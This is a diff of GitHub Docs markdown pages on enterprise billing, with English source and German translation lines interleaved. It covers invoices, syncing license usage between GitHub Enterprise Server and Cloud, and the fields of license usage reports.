Weitere Informationen zur benutzerabhängigen Preisgestaltung für {% data variables.product.prodname_ghe_cloud %} findest du in der [Dokumentation zu {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/billing/managing-billing-for-your-github-account/about-per-user-pricing).
{% else %}
If you use an enterprise account on {% data variables.product.prodname_dotcom_the_website %} and have questions about changes to your subscription, contact {% data variables.contact.contact_enterprise_sales %}.
Wenn du ein Unternehmenskonto für {% data variables.product.prodname_dotcom_the_website %} verwenden und Fragen zu Änderungen an deinem Abonnement hast, wende dich an {% data variables.contact.contact_enterprise_sales %}.
{% endif %}
{% ifversion ghec %}
{% endif %} {% ifversion ghec %}
If you use an individual organization on {% data variables.product.prodname_ghe_cloud %}, you can upgrade or downgrade your subscription. For more information, see "[Upgrading your {% data variables.product.prodname_dotcom %} subscription](/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription)" or "[Downgrading your {% data variables.product.prodname_dotcom %} subscription](/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription)." If you have questions about your subscription, contact {% data variables.contact.contact_support %}.
Wenn du eine einzelne Organisation für {% data variables.product.prodname_ghe_cloud %} verwendest, kannst du für dein Abonnement ein Upgrade oder ein Downgrade durchführen. Weitere Informationen findest du unter [Durchführen eines Upgrades für dein {% data variables.product.prodname_dotcom %}-Abonnement](/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription) oder unter [Durchführen eines Downgrades für dein {% data variables.product.prodname_dotcom %}-Abonnement](/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription). Bei Fragen zum Abonnement wende dich an den {% data variables.contact.contact_support %}.
{% endif %}
{% ifversion fpt %}
### About changes for organizations on per-repository plans
### Informationen zu Änderungen für Organisationen an Plänen pro Repository
You can upgrade or downgrade between legacy paid plans in your organization's billing settings. When you upgrade to a plan with more private repositories, {% data variables.product.company_short %} immediately moves your account to your new plan and bills you for the difference in price, prorated for the number of days left in your billing cycle.
In den Abrechnungseinstellungen deiner Organisation kannst du zwischen den kostenpflichtigen Plänen wechseln. Wenn du ein Upgrade auf einen Plan mit weiteren privaten Repositorys durchführst, verschiebt {% data variables.product.company_short %} dein Konto sofort in deinen neuen Plan und stellt dir die Preisdifferenz anteilig für die Anzahl der übrigen Tage im Abrechnungszeitraum in Rechnung.
When you downgrade to a legacy paid plan with fewer private repositories, your new plan will take effect on your next billing date. If you have more private repositories than your new plan allows for, your private repositories will be locked when your new plan takes effect. To reduce your number of private repositories, you can make some of your private repositories public, or you can clone your private repositories locally and delete the copies on {% data variables.product.prodname_dotcom %}.
Wenn du zu einem kostenpflichtigen Plan mit weniger privaten Repositorys wechselst, tritt dein neuer Plan zum nächsten Abrechnungsdatum in Kraft. Wenn du mehr private Repositorys hast, als dein neuer Plan vorsieht, werden deine privaten Repositorys gesperrt, sobald dein neuer Plan in Kraft tritt. Um die Anzahl der privaten Repositorys zu reduzieren, kannst du einige deiner privaten Repositorys öffentlich machen. Alternativ kannst du deine privaten Repositorys lokal klonen und die Kopien auf {% data variables.product.prodname_dotcom %} löschen.
{% endif %}
## Further reading
## Weiterführende Themen
{%- ifversion not fpt %}
- "[About enterprise accounts](/admin/overview/about-enterprise-accounts)"
- "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)"
{%- endif %}
- "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)"
- "[Adding outside collaborators to repositories in your organization](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization)."
- [Informationen zu Unternehmenskonten](/admin/overview/about-enterprise-accounts)
- [Rollen in einem Unternehmen](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise) {%- endif %}
- [Rollen in einer Organisation](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)
- [Hinzufügen externer Projektmitarbeiter zu Repositorys in deiner Organisation](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization)

Просмотреть файл

@ -1,49 +1,55 @@
---
title: Verwalten von Rechnungen für dein Unternehmen
title: Managing invoices for your enterprise
shortTitle: Manage invoices
intro: 'Du kannst eine aktuelle Rechnung für dein Unternehmen einsehen, bezahlen oder herunterladen und deinen Zahlungsverlauf einsehen.'
intro: 'You can view, pay, or download a current invoice for your enterprise, and you can view your payment history.'
versions:
ghec: '*'
type: how_to
topics:
- Enterprise
- Licensing
ms.openlocfilehash: 030d91667630445f0811db6e51d5fe33ed863182
ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 09/10/2022
ms.locfileid: '145085684'
---
## Informationen zu Rechnungen für dein Unternehmen
{% data reusables.billing.about-invoices-for-enterprises %} Weitere Informationen findest du unter [Informationen zur Abrechnung für dein Unternehmen](/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise).
## About invoices for your enterprise
Weitere Informationen zum Anzeigen des Abonnements und der Nutzung deines Unternehmenskontos findest du unter [Anzeigen des Abonnements und der Nutzung für dein Unternehmenskonto](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account).
For invoiced {% data variables.product.prodname_enterprise %} customers, {% data variables.product.company_short %} bills through an enterprise account on {% data variables.product.prodname_dotcom_the_website %}. Each invoice includes a single bill charge for all of your paid {% data variables.product.prodname_dotcom_the_website %} services and any {% data variables.product.prodname_ghe_server %} instances. For more information, see "[About billing for your enterprise](/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise)."
Only invoiced customers can view invoices on {% data variables.product.prodname_dotcom %}. If you pay automatically via credit card or PayPal, you can view receipts and payment history instead. For more information, see "[Viewing your payment history and receipts](/billing/managing-your-github-billing-settings/viewing-your-payment-history-and-receipts)."
For more information about viewing the subscription and usage for your enterprise account, see "[Viewing the subscription and usage for your enterprise account](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)."
{% data reusables.billing.ghes-with-no-enterprise-account %}
## Deine aktuelle Rechnung anzeigen
## Viewing your current invoice
{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %}
4. Klicke unter „Aktuelle Rechnung“ auf **Rechnung anzeigen**.
![Link „Rechnung anzeigen“](/assets/images/help/business-accounts/view-invoice-link.png)
{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %}
{% data reusables.enterprise-accounts.settings-tab %}
{% data reusables.enterprise-accounts.billing-tab %}
4. Under "Current Invoice", click **View invoice**.
![View invoice link](/assets/images/help/business-accounts/view-invoice-link.png)
## Deine aktuellen Rechnung bezahlen
## Paying your current invoice
{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %}
4. Klicke unter „Fällige Zahlung“ auf **Rechnung bezahlen**.
![Link „Rechnung bezahlen“](/assets/images/help/business-accounts/pay-invoice-link.png)
5. Gib unter „Rechnung bezahlen“ deine Kreditkarteninformationen in das sichere Formular ein, und klicke dann auf **Rechnung bezahlen**.
![Rechnung bestätigen und bezahlen](/assets/images/help/business-accounts/pay-invoice.png)
{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %}
{% data reusables.enterprise-accounts.settings-tab %}
{% data reusables.enterprise-accounts.billing-tab %}
4. Under "Payment Due", click **Pay invoice**.
![Pay invoice link](/assets/images/help/business-accounts/pay-invoice-link.png)
5. Under "Pay invoice", type your credit card information in the secure form, then click **Pay Invoice**.
![Confirm and pay invoice](/assets/images/help/business-accounts/pay-invoice.png)
## Deine aktuelle Rechnung herunterladen
## Downloading your current invoice
{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %}
4. Klicke unter „Schnelle Aktionen“ auf **Aktuelle Rechnung herunterladen**.
![Link „Aktuelle Rechnung herunterladen“](/assets/images/help/business-accounts/download-current-invoice.png)
{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %}
{% data reusables.enterprise-accounts.settings-tab %}
{% data reusables.enterprise-accounts.billing-tab %}
4. Under "Quick Actions", click **Download current invoice**.
![Download current invoice link](/assets/images/help/business-accounts/download-current-invoice.png)
## Deinen Zahlungsverlauf anzeigen
## Viewing your payment history
{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %}
4. Wenn du eine Zusammenfassung deiner bisherigen Abrechnungsaktivitäten anzeigen möchtest, klicke unter „Abrechnung“ auf die Registerkarte **Frühere Rechnungen**. ![Registerkarte „Zahlungsverlauf anzeigen“](/assets/images/help/business-accounts/view-payment-history.png)
{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %}
{% data reusables.enterprise-accounts.settings-tab %}
{% data reusables.enterprise-accounts.billing-tab %}
4. To see a summary of your past billing activity, under "Billing", click the **Past Invoices** tab.
![View payment history tab](/assets/images/help/business-accounts/view-payment-history.png)

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Syncing license usage between GitHub Enterprise Server and GitHub Enterprise Cloud
intro: 'You can sync license usage from {% data variables.product.prodname_ghe_server %} to {% data variables.product.prodname_ghe_cloud %} to view all license usage across your enterprise in one place and ensure that people with accounts in both environments only consume one user license.'
title: Synchronisieren der Lizenzverwendung zwischen GitHub Enterprise Server und GitHub Enterprise Cloud
intro: 'Du kannst die Lizenznutzung von {% data variables.product.prodname_ghe_server %} mit {% data variables.product.prodname_ghe_cloud %} synchronisieren, um die gesamte Lizenznutzung in deinem Unternehmen zentral anzuzeigen und sicherzustellen, dass Personen mit Konten in beiden Umgebungen nur eine Benutzerlizenz in Anspruch nehmen.'
permissions: 'Enterprise owners can sync license usage between enterprise accounts on {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}.'
versions:
ghec: '*'
@ -10,55 +10,52 @@ topics:
- Enterprise
- Licensing
shortTitle: Sync license usage
ms.openlocfilehash: 8434c6f76d4cd63f7c95e7b5971f795126be7066
ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 09/11/2022
ms.locfileid: '147572592'
---
## About synchronization of license usage
## Informationen zur Synchronisierung der Lizenzverwendung
{% data reusables.enterprise-licensing.unique-user-licensing-model %}
{% data reusables.enterprise-licensing.about-license-sync %}
To ensure that you see up-to-date license details on {% data variables.product.prodname_dotcom_the_website %}, you can sync license usage between the environments automatically, using {% data variables.product.prodname_github_connect %}. For more information about {% data variables.product.prodname_github_connect %}, see "[About {% data variables.product.prodname_github_connect %}]({% ifversion ghec %}/enterprise-server@latest{% endif %}/admin/configuration/configuring-github-connect/about-github-connect){% ifversion ghec %}" in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}."{% endif %}
Um sicherzustellen, dass die aktuellen Lizenzdetails zu {% data variables.product.prodname_dotcom_the_website %} angezeigt werden, kannst du die Lizenzverwendung zwischen den Umgebungen mithilfe von {% data variables.product.prodname_github_connect %} automatisch synchronisieren. Weitere Informationen zu {% data variables.product.prodname_github_connect %} findest du unter [Informationen zu {% data variables.product.prodname_github_connect %}]({% ifversion ghec %}/enterprise-server@latest{% endif %}/admin/configuration/configuring-github-connect/about-github-connect){% ifversion ghec %} in der Dokumentation zu {% data variables.product.prodname_ghe_server %}.{% elsif ghes %}{% endif %}
If you don't want to enable {% data variables.product.prodname_github_connect %}, you can manually sync license usage by uploading a file from {% data variables.product.prodname_ghe_server %} to {% data variables.product.prodname_dotcom_the_website %}.
Wenn du {% data variables.product.prodname_github_connect %} nicht aktivieren möchtest, kannst du die Lizenzverwendung manuell synchronisieren, indem du eine Datei aus {% data variables.product.prodname_ghe_server %} auf {% data variables.product.prodname_dotcom_the_website %} hochlädst.
When you synchronize license usage, only the user ID and email addresses for each user account on {% data variables.product.prodname_ghe_server %} are transmitted to {% data variables.product.prodname_ghe_cloud %}.
Wenn du die Lizenznutzung synchronisierst, werden nur die Benutzer-ID und die E-Mail-Adressen für jedes Benutzerkonto in{% data variables.product.prodname_ghe_server %} an {% data variables.product.prodname_ghe_cloud %} übertragen.
{% data reusables.enterprise-licensing.view-consumed-licenses %}
{% data reusables.enterprise-licensing.verified-domains-license-sync %}
## Automatically syncing license usage
## Automatisches Synchronisieren der Lizenzverwendung
You can use {% data variables.product.prodname_github_connect %} to automatically synchronize user license count and usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %} weekly. For more information, see "[Enabling automatic user license sync for your enterprise]({% ifversion ghec %}/enterprise-server@latest{% endif %}/admin/configuration/configuring-github-connect/enabling-automatic-user-license-sync-for-your-enterprise){% ifversion ghec %}" in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}."{% endif %}
Mithilfe von {% data variables.product.prodname_github_connect %} kannst du die Anzahl und Nutzung der Benutzerlizenzen zwischen {% data variables.product.prodname_ghe_server %} und {% data variables.product.prodname_ghe_cloud %} automatisch wöchentlich synchronisieren. Weitere Informationen findest du unter [Aktivieren der automatischen Benutzerlizenzsynchronisierung für dein Unternehmen]({% ifversion ghec %}/enterprise-server@latest{% endif %}/admin/configuration/configuring-github-connect/enabling-automatic-user-license-sync-for-your-enterprise){% ifversion ghec %} in der Dokumentation zu {% data variables.product.prodname_ghe_server %}.{% elsif ghes %}{% endif %}
{% ifversion ghec or ghes > 3.4 %}
After you enable {% data variables.product.prodname_github_connect %}, license data will be automatically synchronized weekly. You can also manually synchronize your license data at any time, by triggering a license sync job.
{% ifversion ghec or ghes > 3.4 %} Nach dem Aktivieren von {% data variables.product.prodname_github_connect %} werden die Lizenzdaten automatisch wöchentlich synchronisiert. Du kannst deine Lizenzdaten auch jederzeit manuell synchronisieren, indem du einen Lizenzsynchronisierungsauftrag auslöst.
### Triggering a license sync job
### Auslösen eines Lizenzsynchronisierungsauftrags
1. Sign in to your {% data variables.product.prodname_ghe_server %} instance.
{% data reusables.enterprise-accounts.access-enterprise %}
{% data reusables.enterprise-accounts.settings-tab %}
{% data reusables.enterprise-accounts.license-tab %}
1. Under "License sync", click {% octicon "sync" aria-label="The Sync icon" %} **Sync now**.
![Screenshot of "Sync now" button in license sync section](/assets/images/help/enterprises/license-sync-now-ghes.png)
1. Melde dich bei deiner {% data variables.product.prodname_ghe_server %}-Instanz an.
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.license-tab %}
1. Klicke unter „Lizenzsynchronisierung“ auf {% octicon "sync" aria-label="The Sync icon" %} **Jetzt synchronisieren**.
![Screenshot der Schaltfläche „Jetzt synchronisieren“ im Abschnitt „Lizenzsynchronisierung“](/assets/images/help/enterprises/license-sync-now-ghes.png)
{% endif %}
## Manually uploading GitHub Enterprise Server license usage
## Manuelles Hochladen der GitHub Enterprise Server-Lizenzverwendungsdaten
You can download a JSON file from {% data variables.product.prodname_ghe_server %} and upload the file to {% data variables.product.prodname_ghe_cloud %} to manually sync user license usage between the two deployments.
Auf {% data variables.product.prodname_ghe_server %} kannst du eine JSON-Datei herunterladen und die Datei auf {% data variables.product.prodname_ghe_cloud %} hochladen, um die Nutzung der Benutzerlizenzen zwischen den zwei Bereitstellungen manuell zu synchronisieren.
{% data reusables.enterprise-accounts.access-enterprise %}
{% data reusables.enterprise-accounts.settings-tab %}
{% data reusables.enterprise-accounts.license-tab %}
5. Under "Quick links", to download a file containing your current license usage on {% data variables.product.prodname_ghe_server %}, click **Export license usage**.
![Export license usage link](/assets/images/enterprise/business-accounts/export-license-usage-link.png)
{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %}
{% data reusables.enterprise-accounts.settings-tab %}
{% data reusables.enterprise-accounts.license-tab %}
10. Under "Enterprise Server Instances", click **Add server usage**.
![Upload GitHub Enterprise Servers usage link](/assets/images/help/business-accounts/upload-ghe-server-usage-link.png)
11. Upload the JSON file you downloaded from {% data variables.product.prodname_ghe_server %}.
![Drag and drop or select a file to upload](/assets/images/help/business-accounts/upload-ghe-server-usage-file.png)
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.license-tab %}
5. Klicke unter „Quicklinks“ auf **Lizenzverwendung exportieren**, um eine Datei herunterzuladen, in der deine aktuelle Lizenzverwendung für {% data variables.product.prodname_ghe_server %} enthalten ist.
![Link „Lizenzverwendung exportieren“](/assets/images/enterprise/business-accounts/export-license-usage-link.png) {% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.license-tab %}
10. Klicke unter „Enterprise Server-Instanzen“ auf **Servernutzung hinzufügen**.
![Link zum Hochladen der GitHub Enterprise Server-Verwendungsdaten](/assets/images/help/business-accounts/upload-ghe-server-usage-link.png)
11. Lade die JSON-Datei hoch, die du von {% data variables.product.prodname_ghe_server %} heruntergeladen hast.
![Datei zum Hochladen ziehen und ablegen oder auswählen](/assets/images/help/business-accounts/upload-ghe-server-usage-file.png)

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Troubleshooting license usage for GitHub Enterprise
intro: You can troubleshoot license usage for your enterprise by auditing license reports.
title: Problembehandlung bei der Lizenznutzung für GitHub Enterprise
intro: 'Du kannst die Problembehandlung bei der Lizenznutzung für dein Unternehmen durchführen, indem du Lizenzberichte überwachst.'
permissions: 'Enterprise owners can review license usage for {% data variables.product.prodname_enterprise %}.'
versions:
ghec: '*'
@ -10,32 +10,37 @@ topics:
- Enterprise
- Licensing
shortTitle: Troubleshoot license usage
ms.openlocfilehash: 8595aaad929e534ebbd474270f3e01f87113b5ec
ms.sourcegitcommit: aded2711e14a0c2473049d3d7e05c82a74e4c634
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 11/21/2022
ms.locfileid: '148179941'
---
## Informationen zur unerwarteter Lizenznutzung
## About unexpected license usage
Bei einer unerwarteten Anzahl für dein Unternehmen genutzter Lizenzen kannst du deine Lizenznutzung anhand des Berichts über genutzte Lizenzen in allen deinen Unternehmensbereitstellungen und Abonnements überwachen. Weitere Informationen findest du unter [Anzeigen der Lizenznutzung für GitHub Enterprise](/billing/managing-your-license-for-github-enterprise/viewing-license-usage-for-github-enterprise) und [Anzeigen des Abonnements und der Nutzung deines Unternehmenskontos](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account).
If the number of consumed licenses for your enterprise is unexpected, you can review your consumed license report to audit your license usage across all your enterprise deployments and subscriptions. For more information, see "[Viewing license usage for GitHub Enterprise](/billing/managing-your-license-for-github-enterprise/viewing-license-usage-for-github-enterprise)" and "[Viewing the subscription and usage for your enterprise account](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)."
Wenn du Fehler findest, kannst du die Schritte zur Problembehandlung ausprobieren.
If you find errors, you can try troubleshooting steps.
Aus Datenschutzgründen können Unternehmensbesitzer*innen nicht direkt auf die Details von Benutzerkonten zugreifen, es sei denn, du verwendest {% data variables.product.prodname_emus %}.
For privacy reasons, enterprise owners cannot directly access the details of user accounts unless you use {% data variables.product.prodname_emus %}.
## Informationen zur Berechnung der verbrauchten Lizenzen
## About the calculation of consumed licenses
Wenn Benutzer*innen mindestens eine der folgenden Bedingungen erfüllen, wird {% data variables.product.company_short %} für diese Benutzer*innen in Rechnung gestellt.
If a user meets one or more of the following conditions, {% data variables.product.company_short %} bills for the user.
- Die Benutzer*innen verwenden Bereitstellungen von {% data variables.product.prodname_ghe_server %}.
- Die Benutzer*innen sind Mitglieder einer deiner Organisationen in {% data variables.product.prodname_ghe_cloud %}.
- Die Benutzer*innen haben Schreibzugriff auf eines der privaten Repositorys deiner Organisation.
- Die Benutzer*innen sind {% data variables.visual_studio.prodname_vs_subscriber %}.
- The user utilizes deployments of {% data variables.product.prodname_ghe_server %}.
- The user is a member of one of your organizations on {% data variables.product.prodname_ghe_cloud %}.
- The user has write access to one of your organization's private repositories.
- The user is a {% data variables.visual_studio.prodname_vs_subscriber %}.
Einladungen für diese Rollen verbrauchen eine Lizenz, bis die Einladung akzeptiert wird oder abläuft. Weitere Informationen zu den Personen in deinem Unternehmen, die eine Lizenz nutzen, findest du unter [Informationen zur benutzerabhängigen Preisgestaltung](/billing/managing-billing-for-your-github-account/about-per-user-pricing).
Invitations for these roles will consume a license until the invitation is accepted or expires. For more information about the people in your enterprise who consume a license, see "[About per-user pricing](/billing/managing-billing-for-your-github-account/about-per-user-pricing)."
Für jede*n Benutzer*in, der bzw. die einen einzelnen Arbeitsplatz verwendet, musst du unabhängig von der jeweils genutzten Anzahl von Bereitstellungen die Lizenznutzung zwischen {% data variables.product.prodname_ghe_server %} und {% data variables.product.prodname_ghe_cloud %} synchronisieren. Weitere Informationen findest du unter [Synchronisieren der Lizenznutzung zwischen {% data variables.product.prodname_ghe_server %} und {% data variables.product.prodname_ghe_cloud %}](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud).
For each user to consume a single seat regardless of how many deployments they use, you must synchronize license usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Syncing license usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)."
Nachdem du die Lizenznutzung synchronisiert hast, ordnet {% data variables.product.prodname_dotcom %} Benutzerkonten auf {% data variables.product.prodname_ghe_server %} Benutzerkonten auf {% data variables.product.prodname_ghe_cloud %} nach E-Mail-Adresse zu.
After you synchronize license usage, {% data variables.product.prodname_dotcom %} matches user accounts on {% data variables.product.prodname_ghe_server %} with user accounts on {% data variables.product.prodname_ghe_cloud %} by email address.
First, we first check the primary email address of each user on {% data variables.product.prodname_ghe_server %}. Then, we attempt to match that address with the email address for a user account on {% data variables.product.prodname_ghe_cloud %}. If your enterprise uses SAML SSO, we first check the following SAML attributes for email addresses.
Zunächst überprüfen wir die primäre E-Mail-Adresse der einzelnen Benutzer*innen auf {% data variables.product.prodname_ghe_server %}. Anschließend versuchen wir, diese Adresse der E-Mail-Adresse für ein Benutzerkonto auf {% data variables.product.prodname_ghe_cloud %} zuzuordnen. Wenn dein Unternehmen SAML SSO verwendet, überprüfen wir zuerst die folgenden SAML-Attribute für E-Mail-Adressen.
- `http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name`
- `http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress`
@ -43,64 +48,64 @@ First, we first check the primary email address of each user on {% data variable
- `NameID`
- `emails`
If no email addresses found in these attributes match the primary email address on {% data variables.product.prodname_ghe_server %}, or if your enterprise doesn't use SAML SSO, we then check each of the user's verified email addresses on {% data variables.product.prodname_ghe_cloud %}. For more information about verification of email addresses on {% data variables.product.prodname_dotcom_the_website %}, see "[Verifying your email address](/enterprise-cloud@latest/get-started/signing-up-for-github/verifying-your-email-address){% ifversion not ghec %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
Wenn keine in diesen Attributen gefundenen E-Mail-Adressen der primären E-Mail-Adresse auf {% data variables.product.prodname_ghe_server %} entspricht oder dein Unternehmen kein SAML SSO verwendet, überprüfen wir anschließend jede der verifizierten E-Mail-Adressen der betreffenden Benutzer*innen auf {% data variables.product.prodname_ghe_cloud %}. Weitere Informationen zur Überprüfung von E-Mail-Adressen auf {% data variables.product.prodname_dotcom_the_website %} findest du unter [Überprüfen deiner E-Mail-Adresse](/enterprise-cloud@latest/get-started/signing-up-for-github/verifying-your-email-address){% ifversion not ghec %} in der {% data variables.product.prodname_ghe_cloud %}-Dokumentation.{% else %}.{% endif %}
## Fields in the consumed license files
## Felder in den Dateien mit genutzten Lizenzen
The {% data variables.product.prodname_dotcom_the_website %} license usage report and {% data variables.product.prodname_ghe_server %} exported license usage file include a variety of fields to help you troubleshoot license usage for your enterprise.
Der {% data variables.product.prodname_dotcom_the_website %}-Lizenznutzungsbericht und die exportierte {% data variables.product.prodname_ghe_server %}-Lizenznutzungsdatei umfassen eine Vielzahl von Feldern zur Problembehandlung bei der Lizenznutzung für dein Unternehmen.
### {% data variables.product.prodname_dotcom_the_website %} license usage report (CSV file)
### {% data variables.product.prodname_dotcom_the_website %}-Lizenznutzungsbericht (CSV-Datei)
The license usage report for your enterprise is a CSV file that contains the following information about members of your enterprise. Some fields are specific to your {% data variables.product.prodname_ghe_cloud %} (GHEC) deployment, {% data variables.product.prodname_ghe_server %} (GHES) connected environments, or your {% data variables.product.prodname_vs %} subscriptions (VSS) with GitHub Enterprise.
Der Lizenznutzungsbericht für dein Unternehmen ist eine CSV-Datei, die die folgenden Informationen zu Mitgliedern deines Unternehmens enthält. Einige Felder sind spezifisch für deine {% data variables.product.prodname_ghe_cloud %}-Bereitstellung (GHEC), verbundenen {% data variables.product.prodname_ghe_server %}-Umgebungen (GHES) oder deine {% data variables.product.prodname_vs %}-Abonnements (VSS) mit GitHub Enterprise.
| Field | Description
| Feld | Beschreibung
| ----- | -----------
| github_com_login | The username for the user's GHEC account
| github_com_name | The display name for the user's GHEC account
| github_com_profile | The URL for the user's profile page on GHEC
| github_com_user | Whether or not the user has an account on GHEC |
| github_com_member_roles | For each of the organizations the user belongs to on GHEC, the organization name and the user's role in that organization (`Owner` or `Member`) separated by a colon<br><br>Organizations delimited by commas |
| github_com_enterprise_role | Can be one of: `Owner`, `Member`, or `Outside collaborator`
| github_com_verified_domain_emails | All email addresses associated with the user's GHEC account that match your enterprise's verified domains |
| github_com_saml_name_id | The SAML username |
| github_com_orgs_with_pending_invites | All pending invitations for the user's GHEC account to join organizations within your enterprise |
| license_type | Can be one of: `Visual Studio subscription` or `Enterprise`
| enterprise_server_user| Whether or not the user has at least one account on GHES |
| enterprise_server_primary_emails | The primary email addresses associated with each of the user's GHES accounts |
| enterprise_server_user_ids | For each of the user's GHES accounts, the account's user ID
| total_user_accounts | The total number of accounts the person has across both GHEC and GHES
| visual_studio_subscription_user | Whether or not the user is a {% data variables.visual_studio.prodname_vs_subscriber %} |
| visual_studio_subscription_email | The email address associated with the user's VSS |
| visual_studio_license_status | Whether the Visual Studio license has been matched to a {% data variables.product.company_short %} user |
| github_com_login | Der Benutzername für das GHEC-Konto des Benutzers bzw. der Benutzerin
| github_com_name | Der Anzeigename für das GHEC-Konto des Benutzers bzw. der Benutzerin
| github_com_profile | Die URL für die Profilseite des Benutzers bzw. der Benutzerin auf GHEC
| github_com_user | Ob der Benutzer bzw. die Benutzerin über ein Konto auf GHEC verfügt |
| github_com_member_roles | Der Name der Organisation und die Rolle des Benutzers bzw. der Benutzerin in dieser Organisation (`Owner` oder `Member`), getrennt durch einen Doppelpunkt (für jede der Organisationen, denen der Benutzer bzw. die Benutzerin auf GHEC angehört)<br><br>Durch Kommas getrennte Organisationen |
| github_com_enterprise_role | Mögliche Werte: `Owner`, `Member` oder `Outside collaborator`
| github_com_verified_domain_emails | Alle dem GHEC-Konto des Benutzers bzw. der Benutzerin zugeordneten E-Mail-Adressen, die den verifizierten Domänen deines Unternehmens entsprechen |
| github_com_saml_name_id | Der SAML-Benutzername |
| github_com_orgs_with_pending_invites | Alle ausstehenden Einladungen für das GHEC-Konto des Benutzers bzw. der Benutzerin zur Teilnahme an Organisationen innerhalb deines Unternehmens |
| license_type | Mögliche Werte: `Visual Studio subscription` oder `Enterprise`
| enterprise_server_user| Ob der Benutzer mindestens ein Konto auf GHES hat oder nicht |
| enterprise_server_primary_emails | Die primären E-Mail-Adressen, die jedem der GHES-Konten des Benutzers bzw. der Benutzerin zugeordnet sind |
| enterprise_server_user_ids | Die Benutzer-ID des Kontos (für jedes der GHES-Konten des Benutzers bzw. der Benutzerin)
| total_user_accounts | Die Gesamtzahl der Konten, über die die Person sowohl auf GHEC als auch auf GHES verfügt
| visual_studio_subscription_user | Ob der Benutzer ein {% data variables.visual_studio.prodname_vs_subscriber %} ist oder nicht |
| visual_studio_subscription_email | Die E-Mail-Adresse, die dem VSS des Benutzers bzw. der Benutzerin zugeordnet ist |
| visual_studio_license_status | Ob die Visual Studio-Lizenz einem bzw. einer {% data variables.product.company_short %}-Benutzer*in entspricht. |
{% data variables.visual_studio.prodname_vs_subscriber %}s who are not yet members of at least one organization in your enterprise will be included in the report with a pending invitation status, and will be missing values for the "Name" or "Profile link" field.
{% data variables.visual_studio.prodname_vs_subscriber %}, die noch keine Mitglieder mindestens einer Organisation in deinem Unternehmen sind, sind im Bericht mit einem ausstehenden Einladungsstatus enthalten, und für sie fehlen Werte in den Feldern „Name“ oder „Profillink“.
### {% data variables.product.prodname_ghe_server %} exported license usage (JSON file)
### Exportierte {% data variables.product.prodname_ghe_server %}-Lizenznutzung (JSON-Datei)
Your {% data variables.product.prodname_ghe_server %} license usage is a JSON file that is typically used when performing a manual sync of user licenses between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %} deployments. The file contains the following information specific to your {% data variables.product.prodname_ghe_server %} environment.
Deine {% data variables.product.prodname_ghe_server %}-Lizenznutzung ist eine JSON-Datei, die in der Regel beim Ausführen einer manuellen Synchronisierung von Benutzerlizenzen zwischen {% data variables.product.prodname_ghe_server %} und {% data variables.product.prodname_ghe_cloud %}-Bereitstellungen verwendet wird. Die Datei enthält die folgenden Informationen, die für deine {% data variables.product.prodname_ghe_server %}-Umgebung spezifisch sind.
| Field | Description
| Feld | BESCHREIBUNG
| ----- | -----------
